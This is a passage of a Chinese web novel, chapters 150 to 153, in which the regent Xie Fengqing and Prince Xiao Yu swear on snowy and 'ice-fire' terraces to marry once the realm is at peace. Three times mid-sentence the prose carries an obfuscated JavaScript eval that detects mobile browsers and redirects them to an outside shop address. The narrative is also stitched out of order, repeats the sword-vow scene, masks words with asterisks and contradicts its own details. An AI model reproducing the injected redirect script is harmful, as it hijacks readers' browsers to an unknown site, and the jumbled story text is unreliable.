台上的视野豁然开朗,与台下之感截然不同。举目四望,天地苍茫,浩渺无垠头顶是深邃得近乎墨黑的夜空,一轮皓月当空,清辉遍洒,无数星辰璀璨闪烁,仿佛触手可及。脚下是无边无际的雪原,反射着清冷皎洁的月光,一直延伸到视野的尽头,与深蓝色的天幕相接,形成一道模糊而壮丽的地平线。寒风在此处毫无遮挡,更加猛烈地呼啸着从耳边、身侧刮过,发出呜呜的声响,仿佛远古巨兽的咆哮,又似要带走人世间所有的喧嚣、烦扰、算计与伪装,只留下最本真的天、地、人。 第150章谢凤卿,你听好了 “谢凤卿立于高台边缘,迎风而立,银狐裘的毛领被风吹得紧贴着她的脸颊,墨发飞扬。她闭上眼,深深吸了一口冰冷彻骨、却纯净无比的空气,那气息仿佛带着雪原的亘古寒意、星月的清辉、以及天地间最原始的浩渺意味,直灌入胸腔肺腑,涤荡着五脏六腑,让心中那些纷乱的、滚烫的、沉重的思绪,渐渐沉淀、冷却、清晰。 萧御走到她身侧稍后的位置,并未出声打扰,只是同样静静地、沉默地伫立着,望着眼前这壮阔、孤寂却又震撼人心的夜景。寒风卷起他墨色大氅的衣角,他也恍若未觉。他知道,她特意带他策马数十里,来到这荒无人烟的雪原高台,必有深意。这不仅仅是一次深夜出行,更可能是一场关乎两人关系最终定位的、更为郑重其事的“仪式”。 良久,久到仿佛时间都在这片冰天雪地中放缓了流速。谢凤卿才缓缓睁开眼眸,那双凤眸在月光雪色的映照下,已是一片清明冷静,如同被冰雪洗涤过的黑曜石,深邃、剔透,再无半分犹豫与迷茫。 “萧御,”她开口,声音不大,却奇异地清晰穿透了呼啸的风声,直抵萧御耳中,“方才在王府书房,我说‘山河不宁,不办婚礼’。你可知,这‘不宁’二字,于我而言,具体所指为何?这‘婚礼’之暂拒,又究竟是何分量?” 萧御神色一凛,沉声回应,目光同样投向苍茫雪原:“愿闻其详。”他知道,接下来她要说的话,将至关重要。 谢凤卿伸出右手,纤细白皙的手指在凛冽寒风中稳稳指向北方,声音冷静如冰,剖析着残酷的现实:“北境之外,蛮族王庭新主阿史那·咄吉,雄才大略,心狠手辣,十年生聚,一统漠北诸部,秣马厉兵,对我中原富庶早已垂涎三尺。去岁和约,不过缓兵之计,其精锐铁骑日日操练,攻城器械不断打造。我派往北境的细作回报,其部落储备之粮草,可供大军一年之用。三年之内,最迟不过五载,北疆必起大战,且规模将远超以往。”她的手指稳稳不动,仿佛那指尖所指,便是未来的烽火狼烟。 手指平移,指向西方:“西戎诸国,虽名义称臣纳贡,实则各自为政,对我丝绸、茶叶、瓷器、以及如今的**技术,贪欲日炽。河西走廊,商队被劫掠之事,今年以来已增加三成。西域都护府压力日增。吐蕃赞誉新立,年轻气盛,已有东进试探之举。西域商道之控制权,商税之利益,文化之影响,迟早需有一战定乾坤。此非臆测,乃边关军报所显之势。” 手指转向东南:“东海之外,**波涛之中,红毛夷人(指西洋殖民者)船坚炮利,横行四海,殖民拓土,其心甚野。其舰队已频频出现在琉球、吕宋一带,测量水文,绘制海图,骚扰我沿海渔民,甚至与海寇勾结。南洋诸岛,旧港、满剌加等地,已见其殖民据点。海疆之患,已非疥癣之疾,乃心腹之患,若不早图,必成大祸。” 她的手指收回,重新按在自己心口位置,目光却变得愈发沉重,投向下方的茫茫雪原,仿佛能穿透冰雪,看到这片辽阔土地上正在发生的、或即将发生的一切:“而境内,新政如利刃,已动天下豪强、旧党权贵之根本,其反抗岂会心甘?如今朝堂看似平静,不过是我以‘财神’之名、雷霆手段暂时压制。暗流汹涌,从未止息。女学之推行,更是直刺千年礼教伦理之核心,挑战‘男尊女卑’之纲常,阻力岂止于朝堂?民间士林,乡绅宗族,其反弹之力,恐将如洪水猛兽。国库虽因追缴与引资暂丰,然税收之制积弊百年,田赋、丁银、商税混乱不堪,贫者愈贫,富者愈富。土地兼并,富者田连阡陌,贫者无立锥之地,此乃动摇国本之祸根。黄河水患,江淮漕运,西北旱灾,西南疫病……民生多艰,处处需钱,处处需人,处处需雷霆手腕与菩萨心肠并举。” 谢凤卿的声音在凛冽寒风中显得格外清晰,每一个字都像冰棱般锐利而沉重。她的手指收回,按在胸前,目光却投得更远,仿佛穿透了这无垠的雪原,看到了这片土地上深埋的病灶与隐痛。 “萧御,”她转过身,正面迎向他,月光为她镀上一层清冷的银边,“你看见了吗?这不是一两个敌人,不是一两场战役就能解决的。这是从北到南、从朝堂到乡野、从边境到海疆的千疮百孔。新政如利刃,割开的是腐烂的皮肉,流出的是积年的脓血。这其中的痛楚、反抗、反扑,比刀剑更伤人,比烽火更难灭。” 她向前一步,靴底踏在粗糙的花岗岩上,发出轻微的摩擦声。 “女学——你以为只是教几个女子读书识字那么简单吗?”她的声音陡然提高,带着一种近乎悲怆的锐利,“那是要撬动千年礼教的基石,是要挑战‘女子无才便是德’的祖训,是要让那些被锁在深闺后院、终身不得见天日的女子,看到除了相夫教子之外的另一种可能。这动的是天下士绅的根基,是他们赖以维系家族的伦理秩序。他们会用最恶毒的语言攻击我,会用最卑劣的手段阻挠我,甚至会用女子的血泪和性命来证明——这条路走不通。” 寒风呼啸而过,卷起她鬓边的碎发。她抬手将发丝拢到耳后,动作干脆利落,眼神却比这北地的风雪更冷。 “国库的银子,”她继续说,“追缴亏空得来的,万国投资汇聚的,看似堆金积玉,实则杯水车薪。修一条从京城到洛阳的铁路要多少银子?建一座能容纳五千女童的女学要多少银子?造一支能震慑红毛夷人的舰队要多少银子?更不用说黄河要修堤,江淮要疏浚,西北要赈灾,西南要防疫……每一处都是无底洞,每一笔都是真金白银。今日他们尊我为‘财神’,是因为我能变出银子;明日若我拿不出银子,他们就会骂我是‘瘟神’。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952785|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的目光转向萧御,那目光里有审视,有考验,更有一种近乎绝望的清醒。 “这就是我要面对的‘山河未宁’。这不是一句轻飘飘的托词,不是女儿家欲拒还迎的矫情。这是血淋淋的现实,是刀山火海,是万丈深渊。”她的声音沉下来,每一个字都像是从胸腔深处挤压出来的,“萧御,你现在还觉得,我们有余力、有资格谈论儿女情长、操办盛大婚礼吗?” 萧御一直静静听着。从她分析北境军情,到西戎商路,到海疆危机,再到朝堂暗涌、民生疾苦,他的表情从最初的凝重,逐渐变成一种深沉的、近乎悲悯的理解。当谢凤卿问出最后那句话时,他没有立刻回答,而是向前走了两步,站到高台边缘,与她并肩而立,望向远方那一片苍茫。 “谢凤卿,”他开口,声音在风声中显得格外沉稳,“你以为,你看到的这些,我不知道吗?” 他侧过头看她,月色下他的侧脸线条刚毅如刀削。 “北境蛮族,阿史那·咄吉麾下有多少骑兵,囤积了多少粮草,与哪些部落联姻,我都知道。西戎诸部,哪个部落与我有旧,哪个部落可分化拉拢,商路上哪些关隘必须掌握,我也清楚。红毛夷人的船有多大,炮有多远,他们在南洋的据点分布如何,我案头的密报摞起来有半人高。” 他的目光锐利起来,像是出鞘的刀。 “朝堂上哪些人阳奉阴违,哪些人结党营私,哪些人暗中与藩王勾结,我一清二楚。地方上哪个县的水利该修,哪个府的赋税该调,哪里的百姓还在吃观音土,我派出去的暗访御史每月都有密报。女学推行会触怒谁,会伤害谁的利益,会有多少人跳出来骂你‘牝鸡司晨’‘祸乱纲常’,我比你更清楚——因为那些骂你的人里,有一半是我萧氏的宗亲。” 谢凤卿的瞳孔微微一缩。 萧御转过身,正对着她,两人之间的距离近到可以看见对方睫毛上凝结的霜花。 “你以为我不懂‘山河未宁’四个字的分量吗?”他的声音不高,却字字千钧,“不,我太懂了。我懂到每一个夜晚都在想,北境的防线该怎么加固,西戎的商路该怎么打通,红毛夷人的炮舰该怎么对付。我懂到每一次朝会都在看,哪个人可以拉拢,哪个人必须除掉,哪项新政可以快些推,哪项改革必须缓一缓。我懂到连做梦,都是黄河决堤、饿殍遍野的景象。” 他深吸一口气,白雾从唇间呼出,在寒风中迅速消散。 “可正是因为懂,正是因为知道这‘山河’有多‘不宁’,我才更要站在你身边,才更要把这虎符交给你,才更要问出那句话——”他的目光死死锁住她,“谢凤卿,你听好了。” 萧御上前一步,这一步踏得极重,靴底在石台上发出沉闷的响声。他的声音陡然拔高,几乎要压过呼啸的风声。 第151章就以一个同路人的身份 “这山河若安宁,要你我何用?!这天下若太平,要帝王将相何用?!正因为山河不宁,正因为天下未定,正因为前路艰难,正因为千疮百孔——我才要陪你走下去!我才要娶你为妻!” 他每一个字都像重锤,砸在这寂静的雪原上。 “不是因为你是摄政王,不是因为你是‘财神’,甚至不是因为你有多美、多聪明、多能干。”萧御的眼睛在月光下亮得惊人,“是因为我看清了你要走的路,认定了你要做的事,相信了你心中的那个‘新纪元’。而我,萧御,作为大靖的亲王,作为萧氏的子孙,作为这**江山未来的主人之一——我愿意,也必须,与你同行。” 他伸出手,不是要触碰她,而是指向脚下这片被冰雪覆盖的大地。 “你说山河未宁,不能成婚。好,那我们就一起去把它变宁!你说新政难推,那我们就一起推!你说女学受阻,那我们就一起闯!你说外敌环伺,那我们就一起打!”他的声音越来越激动,胸膛因为情绪的激荡而起伏,“谢凤卿,我不是来跟你谈风花雪月的,我是来跟你立生死盟的!这盟约里,有你,有我,有这**江山,有千秋后世!” 他收回手,按在自己的心口,一字一顿地说:“今夜我带虎符来,不是来求你嫁给我,是来告诉你——从今往后,我的兵是你的兵,我的权是你的权,我的命,也是你的命。你若想修铁路,我替你征发民夫;你若想建女学,我替你压服宗亲;你若想打蛮族,我替你冲锋陷阵;你若想斗朝臣,我替你作刀作剑。” “但你也要答应我一件事。”萧御的目光锐利如刀,“无论多难,无论多少人反对,无论史书怎么写你,你都不能退。你要一直往前走,走到你说的那个‘新纪元’,走到女子可以读书、铁路贯通南北、火轮船驰骋四海、百姓仓廪丰实的那一天。而我,会一直在你身边——以监国亲王的身份,以萧御的身份,以你未来夫君的身份,或者,就以一个同路人的身份。” 他顿了顿,声音忽然低了下来,却更加深沉。 “谢凤卿,你问我有没有资格谈儿女情长。我现在回答你——”他的目光落在她脸上,那目光里有灼热的情感,更有一种近乎神圣的决绝,“正是因为这山河不宁,正是因为这天下未定,正是因为前路艰险——我才更要跟你谈情,更要跟你论嫁。因为在这个位置上,在这个时局里,能理解你的人太少,能陪你走下去的人更少。我要用这桩婚事,用这虎符,用我萧御的一切,告诉全天下——无论发生什么,无论多少人反对,无论多难多险,我都会站在你身边。我不是你的靠山,我是你的同路人。但这条路,我要走得名正言顺,走得光明正大,走得让所有人都知道——我萧御选的,不止是一个妻子,更是一个能与我共担江山的伙伴。” 风声忽然小了。 不知何时,肆虐的北风似乎有所收敛,连雪花都飘得慢了些。天地间仿佛只剩下他低沉而有力的声音,在空旷的雪原上回荡。 谢凤卿静静地看着他,看了很久很久。 她的脸上没有什么表情,既没有感动得热泪盈眶,也没有被说服得频频点头。她只是看着他,像是要透过他的眼睛,看到他话语背后那个真实的、毫无保留的萧御。 然后,她忽然问了一个看似毫不相关的问题。 “萧御,”她说,“若有一日,我要你在我和这江山之间选一个,你选谁?” 这个问题问得突兀,问得尖锐,问得近乎残忍。 但萧御几乎没有任何犹豫,就给出了答案。 “我选你。”他说。 谢凤卿的眼神微微一震。 “但你不会让我做这个选择。”萧御继续说,声音平静得可怕,“因为你心里装着这江山,装着这天下,装着你要开创的‘新纪元’。你要我选,就是要我承认——你谢凤卿,和这**山河,本就是一体。你不在江山之外,你就在江山之中。你要开创的盛世,就是你的嫁衣;你要守护的黎民,就是你的聘礼。所以我选你,就是选这江山;我选这江山,也必须选你。” 他向前一步,这一步近得两人几乎呼吸可闻。 “谢凤卿,你逃不掉的。”他的声音低得像耳语,却字字清晰,“从你站在承运殿前,受万国朝拜的那一刻起,从我站在你身侧,看着你背影的那一刻起——不,从更早,从北境风雪中你与我并肩作战的那一刻起,我们的命运就已经绑在一起了。你要担这江山,我就陪你担。你要治这天下,我就陪你治。你要做孤臣孽子,遗臭万年,我就陪你一起,做那遗臭万年的乱臣贼子。” 他的目光落在她腰间那柄从不离身的桃花剑上,然后又缓缓移回她的脸上。 “但我知道你不会。”萧御说,“你要的不是遗臭万年,你要的是千秋功业,万世留名。而我要的——”他顿了顿,终于说出了那句藏在心底最深的话,“就是陪你成就这番功业,陪你留这个名。至于史书怎么写,后人怎么评,我不在乎。我在乎的,是百年之后,当后人说起这个时代,说起你谢凤卿时,会知道——她不是一个人。她身边,一直站着一个人,一个叫萧御的人。” 话音落下,万籁俱寂。 连风声都停了。雪花静静地飘落,落在两人肩头,落在高台上,落在这一望无际的雪原上。月光清冷地洒下,将整个世界染成银白色。 谢凤卿闭上了眼睛。 她闭眼的时间很长,长到萧御几乎以为她不会再睁开。但就在他几乎要出声唤她时,她睁开了眼。 那双眼睛里,没有了之前的迷茫,没有了之前的挣扎,也没有了之前的沉重。取而代之的是一种近乎透明的、澄澈如冰湖的清明。 “我明白了。”她说。 然后,她做了一个让萧御意想不到的动作——她伸手,从自己怀中取出一样东西。 那是一枚玉佩。 玉佩不大,通体莹白,在月光下泛着温润的光泽。玉质上乘,雕工却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959677|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单,只刻了几道流云纹,看起来平平无奇。但萧御一眼就认出,那是谢凤卿常年贴身佩戴的东西,从未离身。 谢凤卿将玉佩放在掌心,看了片刻,然后递向萧御。 “这玉,是我母亲留下的唯一遗物。”她的声音很平静,平静得让人心慌,“不是什么值钱的东西,但跟了我二十年。今日,我把它给你。” 萧御愣住了。他看着那枚玉佩,又看看谢凤卿,一时间竟不知该作何反应。 “你不是要以虎符为聘吗?”谢凤卿看着他,嘴角终于扬起一个极淡、极淡的弧度,那弧度里有一种近乎释然的轻松,“那这玉,就是我的回礼。不是什么‘山河为契’,只是一枚普通的玉佩。但它跟了我二十年,沾着我的体温,我的气息,我的——” 她顿了顿,终于说出了那个字。 “心。” 萧御的手微微颤抖起来。他缓缓伸出手,却没有立刻去接,而是停在半空,像是在确认什么。 “谢凤卿,”他的声音有些沙哑,“你知道给我这玉,意味着什么吗?” “我知道。”谢凤卿说,“意味着从今往后,你我不止是盟友,不止是同路人,不止是君臣。意味着我认了你今夜说的每一句话,认了你这份心意,认了你这个人。意味着——”她深吸一口气,“山河大定之日,我谢凤卿,必披嫁衣,入你萧家之门。” 萧御的手终于落下来,接过了那枚玉佩。 玉佩入手温润,还带着她的体温。他将玉紧紧握在掌心,像是握住了整个世界。 “但这玉,现在只是定礼。”谢凤卿的声音再次响起,带着不容置疑的决断,“婚礼,要等到山河大定。而这玉在我母亲那里,原本是一对的。另一枚,在我父亲那里。他们成婚那日,交换了这对玉佩,然后——” 她看向远方,目光悠远。 “然后我祖亲战死沙场,我母亲忧思成疾,不久也随他去了。这对玉佩,一枚陪葬,一枚留给了我。”她的声音很轻,轻得像叹息,“母亲临终前说,这玉不祥,让我不要戴。但我一直戴着,因为这是他们留给我的唯一念想。现在,我给你了。” 她转过头,看向萧御,眼神清明而坚定。 “萧御,我把父母唯一的遗物给了你,把我这二十年来从未离身的东西给了你,把我这颗心——也一并给了你。但你也要记住,从今往后,你的命不只是你的命,我的命也不只是我的命。我们要一起活着,活到山河大定的那一天,活到可以堂堂正正交换婚书、拜堂成亲的那一天,活到可以看着我们亲手开创的‘新纪元’真正到来的那一天。” 她伸出手,不是要握他的手,而是摊开掌心,向上。 “所以,虎符我收下。但我要的不是你为我冲锋陷阵,不是你把命给我。”她的眼睛亮得像寒星,“我要你活着,要你一直站在我身边,要你陪我走完这条最难的路,要你和我一起——亲眼看看我们能把这个世界,变成什么样子。” 第152章山河可移,此志不悔 萧御看着她摊开的手掌,看着那双清澈而坚定的眼睛,忽然笑了。 那笑容不像他平日里那种冷峻的、克制的笑,而是一种豁然开朗的、近乎灿烂的笑。他伸手,将自己的手掌覆在她的手掌上,十指缓缓交握。 两人的手都冰冷,但在交握的瞬间,却仿佛有暖流从掌心传递到心头。 “好。”他说,只一个字。 但这一字,重逾千钧。 风雪不知何时又起了。细碎的雪花从夜空飘落,落在两人交握的手上,落在他们的肩头,落在高台上,落在这一望无际的雪原。月光依旧清冷,星辰依旧璀璨,而在这片苍茫天地之间,两个人,十指相扣,像是两棵并肩而立的松,又像是两柄相互支撑的剑。 “该回去了。”良久,谢凤卿轻声说。 “嗯。”萧御应道,却没有松开手。 又过了片刻,谢凤卿轻轻抽回手,转身走向高台边缘。萧御跟在她身后,两人一前一后,跃下高台。 马蹄声再次响起,在雪原上渐行渐远。那座高台依旧孤零零地矗立着,沉默地见证着这个夜晚发生的一切。而在高台中央,刚才两人站立的地方,积雪上留下了两双脚印,相互依偎,深深浅浅,一直延伸到远方。 风雪很快会掩盖这些痕迹,但这个夜晚,这次对话,这枚玉佩,这次握手,却像烙印一样,刻在了两个人的生命里。 从今夜起,他们不再只是盟友,不再只是同路人。 他们是彼此的约定,是彼此的凭证,是彼此在这条漫长而艰难的路上,唯一的、真正的同行者。 她的声音在呼啸的寒风中显得格外冷静,也格外沉重,每一个字都仿佛带着北地风雪的寒意与重量:“这内外交困,危机四伏,百废待兴又阻力重重的‘山河’,便是我谢凤卿不愿、也不能在此时耽于儿女婚嫁、锦绣繁华的原因。婚礼,应是天下太平、海晏河清时,锦上添花的盛世点缀,而非风雨飘摇、内忧外患之际,需要分心操持、可能成为负累的仪式。应是两心相许、志同道合之后,水到渠成、共享硕果的欢庆,而非在危机重重、前途未卜的乱局中,仓促结合、相互慰藉的短暂温暖。” 她蓦然转身,正面对着萧御。月光从她身后洒来,在她周身勾勒出一圈清冷皎洁的光晕,让她看起来如同从月宫中走下的神女,美丽得不真实,却又因眼中那灼灼燃烧的信念与决绝,而充满了震撼人心的、近乎悲壮的力量。 “所以,我的‘拒婚之言’,并非推诿之辞,亦非对你无情。”谢凤卿的声音清晰而坚定,如同冰雪撞击玉石,“而是立于此天地之间,告于日月星辰、山川风雪——在我谢凤卿心中,家国天下,黎民苍生,重于泰山;儿女私情,花前月下,轻于鸿**。在此山河未真正安宁、富足、强盛、文明之前,我谢凤卿,绝不披嫁衣,绝不入婚堂!此心此志,可昭日月!” 话音落下,她猛地抬手,动作快如闪电! “铿——!” 一声清越如龙吟、又似凤鸣的剑啸,骤然划破雪原的寂静!腰间那柄从不离身、看似朴素无华的桃木剑,应声出鞘! 桃红色的剑身在清冷月光与莹莹雪色的交相映照下,流转着一种妖异而凛冽的、近乎活物的光华,剑身之上似有暗红色的纹理若隐若现,如同血脉流淌。剑未挥动,一股难以言喻的肃杀、坚韧、以及一种孤高绝决之意,已扑面而来。 谢凤卿双手握住桃木剑剑柄,那向来稳定如磐石的手,此刻因灌注了全身内力与澎湃心绪而微微绷紧。她清叱一声,剑尖朝下,将全身精纯磅礴的内力毫无保留地灌注于双臂,腰身发力,对着脚下坚硬无比、历经千年风霜的花岗岩台面,狠狠刺下! “噗嗤——轰!” 一声沉闷如击败革、却又夹杂着岩石碎裂的巨响,骤然在高台上炸开!石屑纷飞,在月光下溅起一片迷蒙的尘雾! 那柄看似轻灵单薄的桃木剑,竟被她以无上内力与决绝意志,硬生生刺入了坚硬无比的花岗岩台面之中,直没至柄!剑身兀自因这巨大的冲击力而微微颤动,发出低沉而持续的嗡鸣声,仿佛在诉说着不屈的誓言。桃红色的剑穗在猛烈寒风中疯狂舞动,如同一簇燃烧不息的火焰。 桃花剑,自跟随她以来,斩过敌酋,破过阴谋,护过黎民,却第一次,不是对敌,不是示警,而是作为她个人最郑重、最决绝誓言的见证与丰碑,被深深插在了这雪原孤高、天地为证的巨石高台之上!剑身映月,寒光凛冽,剑指山河,仿佛在无声地、却又震耳欲聋地宣告着一个女子,对于家国责任的至高承诺与自我牺牲!此剑在此,誓言不朽! 这一幕,极具视觉冲击力与灵魂震撼力!寒夜、孤高石台、无尽雪原、呼啸狂风、清冷月光、迎风而立的玄衣女子,以及那柄深深插入亘古岩石、代表着她的力量、意志与决心的桃花剑……所有元素共同构成了一幅充满力量感、悲壮感与神圣感的画面。这不是软弱的拒绝,不是无情的推脱,而是以更加强悍、更加决绝、更加崇高的姿态,将个人最深处的情感,与更宏大的家国天下、文明未来紧紧绑定!是“小我”对“大我”的让位,是“私情”对“大义”的臣服,却又因这份让位与臣服而显得无比壮丽,无比震撼人心! 萧御看着那柄深深嵌入岩石、在风中微微颤鸣的桃花剑,看着剑旁谢凤卿那挺直如松、仿佛能扛起整片天地的背影,眼中非但没有被拒绝的愤怒与沮丧,反而爆发出前所未有的、更加炽烈明亮的光彩!那光彩中,有震撼,有动容,有热血沸腾的激动,更有一种深至骨髓的认同与骄傲! 这就是他萧御看中的女人!心怀天下,肩扛山河,柔情藏于铁血之下,誓言重于泰山!她的拒绝,不是拒绝他这个人,不是否定他的感情,而是拒绝在错误的时间,让私人情感干扰、甚至可能拖累她所认定的、更重要的使命与道路!这反而让他更加确信,自己的一片赤诚,付与之人,是何等 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他深吸一口冰冷彻骨的空气,那气息仿佛带着雪原的精华与星辰的力量,然后,用尽全身的力气与信念,将誓言如同战鼓擂响,穿透风雪,直上九霄,达于天听: “山河大定之日,便是我萧御,再娶你谢凤卿之时!此心此誓,天地为鉴,日月共证,山河可移,此志不悔!” 风雪十八骑的成员,此刻正按照严密的防卫阵型,远远散落在这片雪原外围的各个制高点、背风处与关键路径上,执行着最高级别的警戒任务。他们看不见高台上的具体细节,听不清那些低沉却郑重的话语,但那柄在月光下突然出现、深深刺入古老石台、剑穗狂舞的桃花剑的鲜明剪影,以及随后萧御那以内力刻意送出、虽经风削弱却依旧隐约可闻的、庄严如祭告天地般的誓言之声,都让他们瞬间明白了高台上正在发生着什么。 这些久经沙场、见惯生死、心如铁石的精锐卫士们,此刻皆不由自主地沉默下来,下意识地按住了腰间的刀柄或**机,望向那座月光下孤高石台的目光中,充满了难以言喻的、近乎神圣的敬意。他们知道,他们的主上,那位如同神祇般的摄政王,与监国亲王之间,立下了一个超越寻常男女情爱、与这**山河同休共戚、同担风雨、共享荣光的、前所未有的誓约。这份誓约,沉重如山,璀璨如星。 谢凤卿静静地听着萧御的誓言,感受着身侧传来的、那坚定无比、炽热滚烫的气息与信念,一直紧绷如弦、仿佛承载着整个天下重量的心弦,似乎有那么一根,悄然松弛了些许。一种奇特的、陌生的、却让人无比安定的力量,从身侧这个男人的身上传来,温暖而坚实。她知道,从此以后,在这条注定充满荆棘、孤独与危险的漫长道路上,她并非真的独行。有一个人,以这样的方式,与她立下了这样的契约,将他的未来、他的心意、他的力量,与她捆绑在一起,共同面对前方的风雪雷霆。 第153章黎明将至,黑暗正在悄然退却 她微微侧首,月光洒在她长长的睫毛上,映出一片细碎的银辉。她对萧御,极淡、却无比真实地,露出了一个清浅的笑意。那笑意如同冰雪荒原上乍然绽放的一朵雪莲,清冷绝艳,转瞬即逝,很快便隐没在清冷的月色与她惯常的淡然之下,却如同暗夜中最明亮的星辰,足以照亮彼此的眼眸,温暖彼此的心房。 “记住你的话,萧御。”她轻声道,声音被风吹散,却清晰地落入他耳中。 “此生不忘,至死不渝。”萧御的回答,简短,有力,如同最坚定的磐石,落在她心头。 桃花剑,依旧牢牢地、沉默地插在石台中央,剑身映着月华星辉,剑穗在凛冽北风中不屈飞扬,剑尖仿佛直指苍穹,又似镇守着这片山河。它成为了这座雪原高台新的心脏与图腾,冰冷而炽热,沉默而铿锵。它见证了这个寒夜,两个站在权力与命运顶峰的人,如何将最私密、最炽热的情感,与最宏大、最沉重的家国责任融为一体,以天地为证,以山河为凭,铸成了一个前所未有的、名为“山河大定,方许婚嫁”的——“情感契约”与“家国盟誓”。 寅初时分,夜色最为深沉浓稠,正是黎明前最黑暗寂静的时刻。天地仿佛被泼洒了最浓的墨,万籁俱寂,连寒风的呼啸似乎都暂时疲惫歇息了。 然而,在方才那片雪原高台的东南方约二十里处,一处更为隐蔽、三面环山的山谷之中,景象却与外界截然不同,充满了人造的奇异与神秘。 这里是“世界**库”庞大计划中,数个高度机密的前期试验与特殊场地之一。它并非大规模生产**或武器的工坊,而是一处充分利用天然地理屏障与特殊条件,秘密修建的、具有特殊功用的场所。 山谷中央,赫然矗立着一座明显由人工精心修葺而成的高台。这座高台与方才雪原上那座天然石台风格迥异,透着一股精密的、非自然的、近乎神迹般的气息。 高台底座呈规则的圆形,直径约十五丈,高约五丈,以巨大的、切割整齐的青色花岗岩条石交错垒砌,接缝处几乎细不可察,异常坚固稳重,仿佛能屹立千年。而高台的顶部平台,则呈现出一种令人瞠目结舌、违背常理的奇景—— 以台面正中心的一条笔直线为界,泾渭分明地铺砌着两种截然不同的材质。一半铺砌着来自极北苦寒之地、千年冰层之下开采出的特殊白色寒玉。玉石质地细腻温润,却在月光与特殊光照下,散发着幽幽的、冷凝如万载玄冰的乳白色光泽,即使相隔数尺,也能感受到那股透骨的寒意,仿佛能将空气中的水分都冻结。而另一半,则铺砌着来自南方火山地带、熔岩凝固后形成的暗红色火成岩。岩石表面布满气泡孔洞与流动的纹理,在光照下隐隐透着暗红色的微光,仿佛内里仍有熔岩在缓慢流淌,持续散发着一股干燥而恒定的温热气息,与另一侧的冰寒形成鲜明对比。 更令人惊异的是,在高台中心线的正上方,约一丈高的半空中,竟悬浮着(由墨家顶尖机关术结合天然强磁石与透明坚固的水晶罩巧妙构筑)两团稳定的、拳头大小的光源——一团是散发着冰冷幽蓝光芒的“寒玉髓”,另一团是散发着温暖橙红光芒的“炎阳石”。这两者皆是天地奇物,极为罕见。此刻,它们被机关之力托举,光芒交相辉映,将高台一半区域映照得如同月光下的冰封国度,清冷梦幻;另一半则如同地心熔岩映照的火红洞窟,温暖神秘。冰蓝与火红的光晕在中心线附近交融,形成一片梦幻迷离的渐变光影。 这便是谢凤卿授意墨家研究院,耗费巨资与心血,结合自然奇物、机关秘术与她的某些构想,秘密建造而成的——冰火高台!它本身并无直接的生产或军事用途,却是一个极具哲学意味与象征意义的“新情感符号”与“契约道场”,代表着矛盾统一、两极共生、冷热交融、刚柔并济、对立却又和谐等复杂深邃的意境。 此刻,谢凤卿与萧御,正并肩站在这座冰火高台的中心线上。 左边是冰之国度,寒气如实质般缭绕,脚下的寒玉石板冰凉刺骨,呼吸间呵出的白气瞬间凝成细霜。右边是火之世界,暖意隐隐透鞋底传来,脚下的火成岩温润踏实,空气中弥漫着干燥的、类似硫磺的淡淡气息。头顶,冰蓝与火红的光晕如流水般交织洒落,将他们两人的身影笼罩在一层梦幻迷离、不断变幻的光彩之中。谢凤卿玄色的劲装与银狐裘,一半染上冰蓝,清冷如仙;一半镀上火红,炽烈如焰。萧御深青的骑装与墨色大氅,同样被分割成冷暖迥异的色调。两人仿佛自身也化作了这冰火交融、矛盾统一意境的一部分,和谐而又各自鲜明。 阿九——那位最早追随谢凤卿从北境归来、机灵忠诚、如今在火龙炮舰上担任舰炮学徒、深受信任的少年,正恭谨地垂首站在高台之下。他手中捧着一个紫檀木雕花的小锦盒,盒盖微微开启一道缝隙,里面以黑色丝绒衬底,隐约可见一对造型古朴奇特的戒指轮廓。戒指并非寻常金玉打造,材质似铁非铁,似石非石,呈暗哑的深灰色,却闪烁着一种内敛的金属光泽,表面有细密的、如同星辰排列的天然纹路。戒面之上,分别镶嵌着极小的、与台上悬浮光源同质的“寒玉髓”与“炎阳石”碎粒,虽只有米粒大小,却精光内蕴,在冰火光晕下闪烁着对应色彩的微光,神秘而美丽。 赫兰真——那位归顺的蛮族勇士,悍勇忠诚,如今已是谢凤卿亲卫队中的重要头目,则手持沉重的镔铁长矛,如同最忠诚勇猛的石像鬼,肃立在更远处的山谷唯一入口处,鹰隼般锐利的目光警惕地扫视着山谷外的黑暗,浑身肌肉紧绷,仿佛随时准备扑杀任何敢于靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972725|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的不速之客,守卫着这片区域的绝对安全与静谧。 高台之上,风声似乎都被某种无形的力量抚平、隔绝了,异常安静。只有头顶那两团光源发出的极轻微的、仿佛能量流动般的低沉嗡鸣声,以及脚下冰火两种材质因微弱温差而产生的、几乎听不见的细微应力声响,构成了一种独特的背景音。 